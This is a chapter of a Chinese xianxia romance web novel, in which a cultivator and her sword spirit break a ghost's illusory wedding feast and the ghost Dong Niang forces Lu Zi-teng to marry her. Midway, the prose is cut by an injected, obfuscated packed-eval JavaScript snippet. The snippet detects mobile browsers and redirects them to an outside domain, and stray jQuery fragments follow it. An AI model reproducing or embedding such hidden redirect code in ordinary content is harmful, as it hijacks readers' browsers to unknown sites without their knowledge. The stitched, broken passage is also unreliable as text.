晏如与晏凉州顺着女鬼的鬼气去找,再次回到后院,里面的景象却不再是刚才所见的漆黑可怖的环境,而是张灯结彩,灯火通明,俨然是要举办喜宴的布置。
“能施出这样厉害的障眼法,看来这鬼怪道行不浅。”
晏如拔出释厄剑举在眼前,食指与中指凝集法力抚过剑刃,放下剑后,再看前方便又恢复了后花园本来的样子。
她暂时也无法破了这鬼的障眼法,只能保证自己不被妖物迷惑,有些抱歉地对晏凉州道,“眼前所见不一定是真的,你跟着我行动就行。”
晏凉州原本攥着衣袖的手指攀上她的手,与她十指相扣,“好,那你可要好好保护我。”
晏如:?
一般不都是剑灵保护主人的吗?
想想他刚刚在引魂阵大杀四方的样子,哪里用得着她来保护。
本来他拉着衣袖时,两人之间还隔了些距离,现在他们双手紧扣,距离一下子变的更近,晏如能清晰地闻到他身上浅浅的栀子花香。
这样牵手的姿势过于亲昵,晏如适应不了,用了点力松开手来,与他拉开距离,“男女授受不亲,你虽是剑灵不懂这些,但也要与我避讳一些。”
说完,她见晏凉州愣愣地留在原地黯然神伤,浅紫色的眸子里流转哀伤。
美人泫然欲泣,晏如突然有些后悔,她方才是不是说的太重了?
于是又解释道,“你要是一直牵着我的话,我待会儿不好施法。”
晏凉州立马收起受伤的表情,重新牵上她手,眼神狡黠,“那我先牵着,一会儿你要施法再告诉我便是。”
变脸速度之快,让晏如感觉自己受到了欺骗。
似乎是怕她再拒绝,他这次只是松松地握着她的手,又可怜巴巴地补充道,“我不会耽误你做正事的。”
他紫色的眼睛湿漉漉的,表情楚楚可怜。
晏如哽住了,不知怎么再说出拒绝的话。
子桑砚清赶来时,正好见到他们重新牵上手要向前走。
他一向自持稳重,这会儿却忍不住开口喊住她,“师妹!”
晏如听到子桑砚清的声音,下意识心虚地想挣脱晏凉州的手,却被他握的更紧,只好带着他的手往背后藏。
“师兄,你们怎么来了?”
子桑砚清见到他们的亲密,心里一滞,不知如何作答。
陶沅沅替他回答了晏如的话,“晏姐姐,我不放心陆子滕,才让道长哥哥带我来的。”
她圆圆的眼睛映出前方喜宴的灯火,很是惊讶,“这后花园怎么变成这样了?”
晏如答道,“是那女鬼的障眼法,我暂时无法破解,你们跟着我走,小心些。”
陶沅沅将她的话奉为圭某,乖巧地点点头,“好。”
一行人走进女鬼幻化的喜宴里,宴席上觥筹交错,最后面还搭了个戏台子,之前分外冷清的院子这时候却是热闹非常。
席面上的人吃吃喝喝,有说有笑,似乎完全看不到有人闯入。
陶沅沅大着胆子上前,端起了桌子上的菜,一碰上盘子就惊叫道,“这鱼怎么是纸糊的啊?盘子也是纸糊的。”
再抬头一看,哪还有什么宾客在谈笑,不过是一群纸扎的纸人,连桌椅都是烧给死人用的纸扎。
陶沅沅赶紧把那盘纸糊的菜扔到一边,“呸呸呸!真晦气!”
后院里响起一阵爆竹声,还夹着唢呐锣鼓的演奏。
爆竹声停下后,有人尖锐地高喊一声,“吉时到!新郎新娘拜天地!”
戏台子后头竟真的走出了一对新人打扮的人,陶沅沅一眼认出那新郎正是消失不见的陆子滕。
他牵着红绸,脸上喜气洋洋,目光缱绻地落在一旁的新娘身上,与平日里玩世不恭的样子完全不同。
“好你个肚子疼!我担心你担心的要死,找你好半天,你竟然偷偷躲在这儿娶媳妇!”
陶沅沅气的不行,就要上去砸场子,被晏如用剑拦住,“别轻举妄动,你仔细看那新娘的手。”
她刚刚注意力都在陆子滕身上,听晏如提醒,才打量起那个“新娘子”,只见新娘握着红绸的手露出森森白骨,喜服松垮垮地挂在身上,身板纤薄的几乎风一吹就会倒下,不难想到盖头和衣服下的不过是一具骨架。
那陆子滕这个家伙还能一脸温柔地注视那么久?
看到这儿,陶沅沅忍不住打了个寒噤。
晏如示意晏凉州松手,而后扶住陶沅沅的肩膀安慰她,“别担心!陆公子还活着,只是被这女鬼蛊惑了,待会儿我就会救他出来。”
得知他平安无事,陶沅沅才稍微安下心来。
乾坤袋有些躁动,晏如打开来看,发现是两仪镜在发着微弱的光亮。
她有些疑惑地看向女鬼,发现她胸前的璎珞也在发光。
寻常璎珞一般都是用长命锁点缀在项圈上做装饰,用玉锁或金银锁的都很常见,但女鬼的项圈下面却是坠着一颗珠子。
璎珞珠子的光辉与两仪镜交相辉映,莫非那便是其中一颗神珠?
她有这样大的本事,原是借了神珠的力量在作怪。
那女鬼似乎也感应到了两仪镜,一挥袖子,召唤来一阵黑风,卷走了戏台上的两人。
陶沅沅握住晏如的胳膊,紧张问道,“晏姐姐,这可怎么办啊?陆子滕他又被女鬼带走了。”
晏如见这女鬼并没有伤害陆子滕的意思,思索片刻,才道,“瞧这女鬼的阵仗,应该是有执念未了。你带我去找陆大人,拿到江州城的地方志才能知晓这女鬼的来头,也好想办法降住她。”
“嗯嗯!我这就带你去找陆伯伯。”
*
“一拜天地!”
“二拜高堂!”
“夫妻对拜!送入洞房!”
陆子滕感觉自己像是在做梦,常言道时间如白驹过隙,他竟然这么快就与陶沅沅成亲了。
原来陶沅沅穿大红色的喜服这么好看,就是今日的她话少了些,不如平日里那么生动。
但是只要是她便好,其他的都不重要。
陆子滕定了定心神,期待又忐忑地掀开盖头。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500744|170331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
盖头下的脸庞清丽出尘,却不是陶沅沅,陆子滕吓得朝后退了一大截,指着她问,“你谁啊你?!沅沅呢?!”
女鬼温婉的神情碎裂,不可置信地反问他,“承安哥哥,你不记得我了吗?我是冬娘啊。”
陆子滕不耐烦道,“什么东娘西娘的!刚刚与我拜堂的明明是陶沅沅,怎么现在变成你了?你把她藏哪儿去了?”
“承安哥哥,你我早已定了婚约,沧江水为媒,我当然名正言顺会是你的妻子。”
“小爷我不是你的什么承安哥哥!小爷是陆子滕!”
冬娘似乎因他表明身份而受到了刺激,痛苦地捂住耳朵,蹲在地上呜咽。
“告诉你,我爹可是江州知府,你敢绑他未来的儿媳无异于自寻死路。你现在把陶沅沅交出来,小爷我还能饶你一条命。”
见面前女子不再说话,陆子滕以为她是被吓住了,得意道,“害怕了吧,那就识相点,快把陶沅沅给小爷放了!”
冬娘站起来,倏地飘到他跟前,一把掐住他的脖子,怒喝道,“陶沅沅,陶沅沅!你叫够了没有?!我等你等了这么久,你却不记得我,满心满眼都是别的女人。你为什么要这样对我!为什么!”
“谢承安!你对得起我吗?”
她一发怒,脸上的皮肉随着狰狞的表情一片片剥落下来,直到只剩下原本的白骨骷髅,声音也扭曲可怖。
陆子滕从小养尊处优没吃过苦,目睹这样恶心的场面,差点当场呕出来。
他回忆起自己是在茅房外撞见了个和陶沅沅一样的人,猜到她大概便是别人口耳相传的女鬼。
陆子滕不敢再激怒她,陪着笑脸,牙齿都在微微打颤,“鬼姐姐,你别生气。我不是谢承安那个负心汉,你认错人了,认错人了。”
“认错人了?”
冬娘怔愣片刻,松开他的脖子,指骨爱怜地在他脸上滑过,然后狠狠捏起他的下巴,“不可能!我等了你两百多年,你就是化成灰我都认得出你!”
“承安哥哥,从前你对我很温柔的,如今怎会这般冷漠?你一定是受了别人的蛊惑!是那个陶沅沅蛊惑的你吗?我现在就去杀了她!杀了她,你就会回到我身边了……”
陆子滕赶紧打断她,“别!跟她没关系!有话好好说,不要动不动就打打杀杀的,这,这样不好。”
他放低姿态,说起了好话,“冬娘是吧?冬娘,你想要怎样,我都通通依你。”
闻言,冬娘微微松劲,“通通依我?那我要你娶我。”
“啊?”
“嗯?”冬娘刚放松一点的手指再度用力,黑洞洞的眼眶对着他,语气愠怒,“你不愿意?”
陆子滕思绪飞转,试图拖延时间,“我肯定愿意啊!不过婚姻大事岂能儿戏,肯定要先知会双方父母,再择良辰吉日完婚。你说是吧?”
“不必这么麻烦。我们早就定下婚约,我也不在乎这些繁文缛节,何况……你我的爹娘早已不在人世了。”
怕再惹怒她,陆子滕强颜欢笑,“都依你。你开心就行。”